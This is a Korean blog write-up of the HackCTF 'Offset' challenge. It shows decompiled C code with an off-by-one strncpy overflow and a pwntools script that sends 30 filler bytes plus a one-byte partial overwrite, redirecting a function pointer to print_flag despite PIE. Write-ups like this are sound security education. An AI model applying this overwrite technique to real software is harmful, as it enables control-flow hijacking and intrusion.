본문 바로가기
시스템 해킹/CTF

[HackCTF] Offset

by L3m0n S0ju 2021. 9. 14.

 

 

 

int __cdecl select_func(char *src)
{
  char dest[30]; // [esp+Eh] [ebp-2Ah] BYREF
  int (*v3)(void); // [esp+2Ch] [ebp-Ch]

  v3 = two;
  strncpy(dest, src, 31u);
  if ( !strcmp(dest, "one") )
    v3 = one;
  return v3();
}

 

 

int print_flag()
{
  char i; // al
  FILE *fp; // [esp+Ch] [ebp-Ch]

  puts("This function is still under development.");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[31]; // [esp+1h] [ebp-27h] BYREF
  int *v5; // [esp+20h] [ebp-8h]

  v5 = &argc;
  setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
  puts("Which function would you like to call?");
  gets(s);
  select_func(s);
  return 0;
}

 

 

 


문제 코드는 위와 같다. 이번 문제는 보호기법을 보면 NX, PIE, RELRO 보호기법이 3개나 걸려있어서 왠만한 공격으로는 익스플로잇이 불가능하다. PIE가 걸려있으면 실행할 때 마다 바이너리가 랜덤 주소에 올라가기 때문에 gdb로 분석할 때도 offset만 볼 수 있다. 취약점은 select_func함수의 strncpy(dest, src, 31u); 부분에 있다. 30이 dest와 src는 30만큼의 거리이지만 31만큼 dest에 복사하면 바이트를 초과하게된다. 

 

 

 

 


위 그림을 보면 print_flag의 주소 마지막 바이트는 d8이고 two 함수의 마지막 바이트는 ad이다. two 함수의 마지막 바이트를 덮어씌우면 flag.txt를 열 수 있으므로 아래와 같이 익스플로잇 코드를 작성한다.

 

#!/usr/bin/python

from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3007)
payload=b"a"*30+b"\xd8"
r.sendline(payload)
r.interactive()

 

 

 


플래그

 

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] Yes or no  (0) 2021.09.14
[HackCTF] BOF_PIE  (0) 2021.09.14
[HackCTF] Simple_Overflow_ver_2  (0) 2021.09.13
[HackCTF] x64 Simple_size_BOF  (0) 2021.09.13
[HackCTF] x64 Buffer Overflow  (0) 2021.09.13

댓글